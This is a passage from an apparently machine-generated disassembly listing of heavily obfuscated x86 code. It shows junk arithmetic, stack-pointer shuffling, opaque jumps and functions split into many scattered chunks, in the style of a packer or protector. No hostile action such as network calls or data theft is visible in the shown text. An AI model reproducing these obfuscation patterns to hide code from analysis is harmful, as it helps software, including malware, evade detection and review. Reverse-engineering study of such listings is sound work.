loc_599F06:				; CODE XREF: sub_5A9EC5+4927j
		push	eax
		jmp	loc_59C4A3
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------


loc_599F0C:				; CODE XREF: sdfs____:0059DDA4j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5AA4AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_599F29:				; CODE XREF: sub_59C979-33F2j
		jnz	loc_59E60F
		push	small 744Ch
		mov	[esp+2+var_2], cx
		mov	edi, eax


loc_599F39:				; CODE XREF: sub_5A3699-804Cj
		mov	ebp, dword ptr [esp+2+var_2]
		add	esp, 4
		add	ebx, 164137F7h
		sub	ebx, 683C2089h
		jmp	loc_5A210C
; END OF FUNCTION CHUNK	FOR sub_59C979

; =============== S U B	R O U T	I N E =======================================



sub_599F50	proc near		; CODE XREF: sub_599574+9j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059A385 SIZE 00000007 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		jmp	loc_59A385
sub_599F50	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_599F5B:				; CODE XREF: sub_59D6B8+8299j
		mov	[esp+10h+var_10], ecx
		push	edi
		mov	edi, esp
		jmp	loc_59E9A6
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_599F66:				; CODE XREF: sub_5B01F7-281Fj
		mov	ebx, 0E7F1E289h
		sub	edi, ebx
		pop	ebx
		add	edx, 39756003h
		sub	edx, edi
		push	ebx
		mov	ebx, 39756003h
		sub	edx, ebx
		pop	ebx
		jmp	loc_5A1852
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE40A


loc_599F84:				; CODE XREF: sub_5AE40A+Bj
		add	ebp, 4
		push	edi
		mov	edi, 4
		jmp	loc_59F300
; END OF FUNCTION CHUNK	FOR sub_5AE40A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3261


loc_599F95:				; CODE XREF: sub_5A3261-6416j
		add	esi, 4
		push	ebx
		mov	ebx, 1E34100Fh
		or	ebx, 48163466h
		neg	ebx
		or	ebx, 6F33425h
		jmp	loc_59CAB5
; END OF FUNCTION CHUNK	FOR sub_5A3261
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_599FB4:				; CODE XREF: sub_5AA2D1-E67Dj
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		sub	esp, 4
		mov	[esp-0Ch+arg_8], eax
		push	[esp-0Ch+arg_C]
		pop	eax
		pop	[esp-0Ch+arg_8]
		mov	esp, [esp-10h+arg_C]
		push	ecx
		mov	ecx, esp
		push	1FCh
		jmp	loc_59D7B2
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_599FDF:				; CODE XREF: sub_5A7BA0:loc_59C346j
		or	eax, 112D52A3h
		jz	loc_599D28
		shl	eax, 8
		jmp	loc_59B91B
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_599FF2:				; CODE XREF: sub_5AD795-BA11j
		xchg	ebp, [esp+0Ch+var_C]
		jmp	loc_5AE4D8
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_599FFA:				; CODE XREF: sub_5A79BE+29CFj
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		add	ecx, edi
		jmp	loc_5AC116
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FE51


loc_59A008:				; CODE XREF: sub_59FE51+359Cj
		add	edi, edx
		mov	edx, [esp+0]
		add	esp, 4
		push	ebx
		push	esp
		jmp	loc_5A5E9C
; END OF FUNCTION CHUNK	FOR sub_59FE51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_59A017:				; CODE XREF: sub_5A79BE-8174j
		mov	[esp-4+arg_0], ecx
		jmp	loc_5AD941
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59A01F:				; CODE XREF: sub_5992DA+AEC5j
					; sub_5AA2D1-386Bj
		add	esp, 4
		sub	dh, 3Eh
		jnp	loc_5AE237
		jmp	loc_5A5090
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
		sub	ebx, 4
		mov	esi, ecx


loc_59A038:				; CODE XREF: sdfs____:005A2CB2j
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_59C53C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_59A049:				; CODE XREF: sub_5A7BA0-DE6Cj
		pop	esp
		mov	[esp-4+arg_0], edx
		mov	edx, 1
		jmp	loc_5A14E5
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59A057:				; CODE XREF: sub_5AA2D1-62E8j
		push	edx
		xchg	edx, [esp-4+arg_0]
		not	edx
		xchg	edx, [esp-4+arg_0]
		pop	edx
		jmp	loc_59DC4D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D6F


loc_59A066:				; CODE XREF: sub_5A9D6F+6446j
		add	al, cl
		jmp	sub_5AA5F6
; END OF FUNCTION CHUNK	FOR sub_5A9D6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59A06D:				; CODE XREF: sub_5AA2D1+3CB2j
		mov	ch, al
		jmp	loc_59FBAE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_59A074:				; CODE XREF: sub_59A26C+13CDj
		mov	esp, [esp-8+arg_4]
		jmp	loc_5AB059
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_59A07C:				; CODE XREF: sub_59A9E9+289Aj
					; sub_5AA2D1-680Fj
		pop	ecx
		push	76E5h
		mov	[esp+0], edi
		push	ecx
		push	eax
		push	67C2324Dh
		pop	eax
		xor	eax, 67C2324Fh
		mov	ecx, eax
		pop	eax
		push	ecx
		xor	[esp+8+var_8], 5BAB119Fh
		pop	edi
		xor	edi, 5BAB119Fh
		mov	ecx, [esp+4+var_4]
		jmp	loc_5A8613
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59A0AC:				; CODE XREF: sub_5992DA+137A6j
		push	[esp+20h+var_22+2]
		pop	eax
		push	267Dh
		mov	[esp+24h+var_26+2], edx
		push	esp
		jmp	loc_5A3A32
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59A0BE:				; CODE XREF: sub_5A5EFF+2AF5j
		xchg	eax, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edx
		jmp	sub_59DAB9
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59A0CA:				; CODE XREF: sub_5AA2D1+2DBAj
		pop	edi
		add	ebx, 1CCA56E3h
		mov	esi, [esp-0Ch+arg_8]
		add	esp, 4
		sub	ebx, eax
		jmp	sub_5A0B5D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_59A0E1:				; CODE XREF: sub_5A9D64-7050j
		add	ebx, edi
		mov	edi, [esp+4+var_4]
		jmp	sub_59F02F
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------


loc_59A0EB:				; CODE XREF: sdfs____:005AF74Bj
		xor	edx, 3FBF3B63h
		pop	ebx
		mov	edi, edx
		pop	edx
		sub	esi, edi
		jmp	loc_5AD8FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_59A0FC:				; CODE XREF: sub_5A9EBF-EF7Fj
		add	esp, 4
		pop	ebp
		push	ebp
		push	60127D47h
		mov	ebp, [esp+0]
		add	esp, 4
		not	ebp
		sub	ebp, 7AC83DC3h
		sub	esp, 4
		mov	[esp+0], esi
		push	ebx
		mov	ebx, 727D2F1Ah
		inc	ebx
		jz	loc_5AFCA2
		not	ebx
		sub	ebx, 73B83C57h
		js	loc_5ABB93
		or	ebx, 6C1B1F9Bh
		sub	ebx, 256D889Bh
		mov	esi, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		add	esi, 10BC646Fh
		push	edi
		push	ebx
		mov	ebx, 2F3B5D2Ah
		push	ebx
		mov	ebx, 12654970h
		neg	ebx
		jb	loc_5A7D96
		xor	ebx, 30693E6Eh
		mov	al, 68h
		mov	esi, ebp
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_59A174:				; CODE XREF: sub_59A479+15A1Fj
		push	[esp+4+var_4]
		pop	edi
		add	esp, 4
		jmp	loc_59F001
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59A183:				; CODE XREF: sub_5A5EFF-61D0j
		sub	edi, 5813B25Bh
		mov	eax, edi
		pop	edi
		sub	eax, 2C3A4CEAh
		jmp	loc_59B565
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59A196:				; CODE XREF: sub_5AA2D1-898Fj
		push	2000000h
		push	[esp-0Ch+arg_8]
		jmp	loc_5A50F8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59A1A3:				; CODE XREF: sub_59D6B8:loc_59D577j
					; sub_5A1F28+1E94j
		add	esp, 4
		sub	esp, 4
		mov	[esp+14h+var_14], eax
		mov	eax, 4
		add	esi, 625D6A98h
		jmp	loc_5A6F25
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59A1BF:				; CODE XREF: sub_5AA2D1+9A2j
		push	1EAAh
		mov	[esp-4+arg_0], eax
		mov	eax, 204F2616h
		shr	eax, 6
		not	eax
		add	eax, 68A70A86h
		add	eax, 0F4F80C9Dh
		sub	ecx, eax
		jmp	loc_59D8CB
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59A1E2:				; CODE XREF: sub_5992DA+A500j
		mov	[esp+28h+var_2A+2], edi
		mov	edi, esp
		jmp	loc_59C2F9
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_59A1EC:				; CODE XREF: sub_5AA810+1Aj
		add	esp, 4
		jmp	loc_5AA4D0
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59A1F4:				; CODE XREF: sub_5992DA+9C1Fj
					; sub_5A477C+5F83j
		shr	ecx, 8
		jnz	loc_5A8A7A
		add	ecx, 5C94AA4h
		mov	eax, ecx
		pop	ecx
		jmp	loc_5AE4DE
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600D


loc_59A20B:				; CODE XREF: sub_5A600D-4D62j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 4
		sub	edi, 55436794h
		sub	edi, ebx
		add	edi, 55436794h
		jmp	loc_5A4DC5
; END OF FUNCTION CHUNK	FOR sub_5A600D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B3C9


loc_59A22D:				; CODE XREF: sub_59B3C9+16j
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		push	4DD1h
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 6F0E6947h
		sub	esp, 4
		mov	[esp+14h+var_14], esi
		mov	esi, 30E3982h
		or	edi, esi
		pop	esi
		not	edi
		xor	edi, 6E0A05D2h
		add	edi, 1047C1Ah
		jmp	loc_5A124A
; END OF FUNCTION CHUNK	FOR sub_59B3C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_59A262:				; CODE XREF: sub_599D0E+2728j
		pop	cx
		sub	bl, 33h
		jmp	loc_59A694
; END OF FUNCTION CHUNK	FOR sub_599D0E

; =============== S U B	R O U T	I N E =======================================



sub_59A26C	proc near		; CODE XREF: sub_5AA2D1-28D5j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 005991DC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059958C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059A074 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059AB4E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059AE7C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059B62C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059BF49 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059C3AA SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059C6C9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059DD7C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059E07E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E8DC SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059ED71 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F983 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A25E7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A38CC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A4E60 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A596F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A5C24 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A619A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A621F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A6BA5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A7B45 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A7D50 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A8002 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005A9345 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005A9521 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A9E42 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AA3AE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AA85A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AB7A7 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005AC8CF SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005ACFD2 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005AF528 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AF881 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AFCBB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005B0406 SIZE 0000001B BYTES

		sub	esp, 4
		mov	[esp-4+arg_0], ebp
		jmp	loc_59E8DC
sub_59A26C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADBA5


loc_59A27A:				; CODE XREF: sub_5ADBA5+1Cj
		xor	edi, [esp+0]
		jmp	loc_5A38A6
; END OF FUNCTION CHUNK	FOR sub_5ADBA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_59A282:				; CODE XREF: sub_5A16B8+8E8Aj
		mov	edx, 3A47393Bh
		jmp	loc_5A407D
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8215


loc_59A28C:				; CODE XREF: sub_5A8215-A619j
		push	[esp+4+var_4]
		pop	eax
		push	2117h
		mov	[esp+8+var_8], edx
		sub	esp, 4
		push	esp
		pop	[esp+10h+var_10]
		push	edx
		mov	edx, 4
		jmp	loc_59A774
; END OF FUNCTION CHUNK	FOR sub_5A8215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59961A


loc_59A2AA:				; CODE XREF: sub_59961A+2A68j
		mov	ecx, esi
		pop	esi
		sub	ecx, 1
		jmp	loc_599A7B
; END OF FUNCTION CHUNK	FOR sub_59961A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599509


loc_59A2B8:				; CODE XREF: sub_599509+484Ej
		add	esp, 4
		jmp	loc_59E0A3
; END OF FUNCTION CHUNK	FOR sub_599509
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_59A2C3:				; CODE XREF: sdfs____:005A4CEEj
					; sub_5A7BA0+B8Fj
		mov	ecx, 20966376h
		not	ecx
		jmp	loc_5AB6EC
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59A2CF:				; CODE XREF: sub_5AA2D1+1D02j
		push	eax
		jmp	loc_59CB1C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8215


loc_59A2D5:				; CODE XREF: sub_5A8215-B3A5j
		inc	esi
		sub	esi, 6ABD7F91h
		dec	esi
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		jmp	loc_5A3468
; END OF FUNCTION CHUNK	FOR sub_5A8215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59A2EB:				; CODE XREF: sub_5AA2D1-C3CAj
		shl	esi, 6
		jmp	loc_59C965
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59A2F3:				; CODE XREF: sub_5AA2D1-A6F5j
					; sub_59C979+12B4Fj
		add	ecx, 4
		push	edi
		push	esi
		mov	esi, 22307AB6h
		mov	edi, esi
		mov	esi, [esp+6+var_6]
		add	esp, 4
		sub	esp, 4
		mov	[esp+6+var_6], edx
		mov	edx, 62AA2948h
		not	edx
		shr	edx, 1
		push	ebp
		mov	ebp, 2C7A70A9h
		jmp	loc_5A639F
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59A328:				; CODE XREF: sub_5A2E28-77B8j
					; sub_5AFD37-1248Dj
		jnz	loc_5A62AB
		jmp	loc_5A6D68
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
		xchg	edi, [esp]
		jmp	loc_59ADA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_59A33B:				; CODE XREF: sub_59EE3E+28B0j
		jmp	sub_5AF2D9
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A405F


loc_59A340:				; CODE XREF: sub_5A405F+35B9j
		push	4
		pop	ecx
		add	ebx, ecx
		mov	ecx, [esp+0]
		jmp	loc_5993FC
; END OF FUNCTION CHUNK	FOR sub_5A405F
; ---------------------------------------------------------------------------


loc_59A350:				; CODE XREF: sdfs____:loc_59A7CDj
		xor	eax, 0BFFFD7C9h
		push	ecx
		mov	ecx, eax
		push	ecx
		pop	ebp
		pop	ecx
		pop	eax
		sub	edx, 32F49F6h
		add	edx, 4B3E2A7Fh
		jmp	loc_5A4662
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_59A36D:				; CODE XREF: sub_5A2E41-6F61j
		xor	edi, 5EF47900h
		jns	loc_5A3B08
		shr	edi, 3
		jmp	loc_5A74D6
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
		pop	edx
		add	bl, 8
; START	OF FUNCTION CHUNK FOR sub_599F50


loc_59A385:				; CODE XREF: sub_599F50+6j
		mov	esi, esp
		jmp	sub_5A489F
; END OF FUNCTION CHUNK	FOR sub_599F50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0924


loc_59A38C:				; CODE XREF: sub_5A0924+7651j
		shl	esi, 3
		sub	esi, 43A07589h
		sub	esi, 1A2E06BDh
		dec	esi
		sub	esi, 82A5F485h
		xor	eax, esi
		jmp	loc_5A2B45
; END OF FUNCTION CHUNK	FOR sub_5A0924
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_5A2407
		sub	esi, 67005B04h
		push	ecx
		jmp	loc_5A1741
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59A3C0:				; CODE XREF: sub_5AA2D1-4DC6j
		pop	edi
		push	786Eh
		mov	[esp+0], ebx
		mov	ebx, 137B281Dh
		shl	ebx, 1
		jmp	loc_5AAD1D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0B5D


loc_59A3D5:				; CODE XREF: sub_5A0B5D+7j
		pop	eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], edi
		mov	edi, 0E87FFE5Bh
		jmp	loc_5ADA64
; END OF FUNCTION CHUNK	FOR sub_5A0B5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2E4


loc_59A3E9:				; CODE XREF: sub_59B2E4+9D32j
		xor	ecx, edi
		pop	edi
		jmp	loc_59AF18
; END OF FUNCTION CHUNK	FOR sub_59B2E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0CD9


loc_59A3F1:				; CODE XREF: sub_5A0CD9+3j
		mov	[esp+0], esi
		jmp	sub_5A5956
; END OF FUNCTION CHUNK	FOR sub_5A0CD9
; ---------------------------------------------------------------------------


loc_59A3F9:				; CODE XREF: sdfs____:005A1ED5j
		sub	esp, 4
		jmp	loc_5ACB2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59A404:				; CODE XREF: sub_5AA2D1-88j
		sub	edx, esi
		add	edx, 39C25A60h
		pop	esi
		jmp	loc_5A3ABA
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A633D


loc_59A412:				; CODE XREF: sub_5A633D-7BF3j
		pop	ecx
		mov	eax, ecx
		push	[esp-4+arg_0]
		jmp	loc_5AEDF4
; END OF FUNCTION CHUNK	FOR sub_5A633D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F18C


loc_59A41D:				; CODE XREF: sub_59F18C+9j
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		push	eax
		mov	eax, 366CC8h
		add	eax, 20DB3170h
		push	ecx
		mov	ecx, 292B4F63h
		and	eax, ecx
		pop	ecx
		inc	eax
		xor	eax, 21010E25h
		add	ebp, eax
		pop	eax
		push	edx
		mov	edx, 2
		add	ebp, edx
		pop	edx
		xor	ebp, [esp-4+arg_0]
		xor	[esp-4+arg_0], ebp
		jmp	loc_5A57E0
; END OF FUNCTION CHUNK	FOR sub_59F18C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59A458:				; CODE XREF: sub_5AA2D1+2BDBj
		add	al, 0AAh
		add	al, 6Ah
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		jmp	loc_5A7A4F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_59A46C	proc near		; DATA XREF: sdfs____:00598E8Co
		lodsb
		jmp	sub_59AD5D
sub_59A46C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_59A472:				; CODE XREF: sub_5A9EBF-E351j
		sub	ecx, esi
		jmp	loc_5A74C1
; END OF FUNCTION CHUNK	FOR sub_5A9EBF

; =============== S U B	R O U T	I N E =======================================



sub_59A479	proc near		; CODE XREF: sub_5A005A+23j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059A174 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059AB74 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059B6A4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059E707 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059F001 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059F9BD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A13A8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A3382 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A4051 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A4817 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A4D00 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A51EF SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A5884 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A6C30 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A783F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A793F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A8184 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AA8B4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AB4AC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AB837 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ABA1E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ACA77 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005ACBE9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AD63C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AE944 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AFD17 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AFD96 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AFE92 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		push	eax
		push	2154529Fh
		pop	eax
		add	eax, 277B7F91h
		jmp	loc_5A51EF
sub_59A479	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EB4


loc_59A493:				; CODE XREF: sub_5A9EB4-A038j
		push	esi
		push	esp
		pop	esi
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5A558D
; END OF FUNCTION CHUNK	FOR sub_5A9EB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BA35


loc_59A4A9:				; CODE XREF: sub_5A24B6+8j
					; sub_59BA35+F92Dj
		sub	dl, 7Eh
		jmp	loc_5AA160
; END OF FUNCTION CHUNK	FOR sub_59BA35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADAE7


loc_59A4B1:				; CODE XREF: sub_5ADAE7-130E0j
		mov	edi, 5D0426E5h
		jmp	loc_5A6718
; END OF FUNCTION CHUNK	FOR sub_5ADAE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59A4BB:				; CODE XREF: sub_59D6B8-2CA2j
		mov	ecx, 7BC21F2Ah
		xor	edi, ecx
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_5A3A3E
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59A4CD:				; CODE XREF: sub_5AA2D1-10542j
		pop	[esp-10h+arg_C]
		pop	esp
		mov	ebp, [esp-18h+arg_14]
		jmp	loc_599A3B
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_59A4D9:				; CODE XREF: sub_5ADD33-3DB0j
		pop	ebp
		add	eax, 4
		xchg	eax, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5A055D
; END OF FUNCTION CHUNK	FOR sub_5ADD33

; =============== S U B	R O U T	I N E =======================================



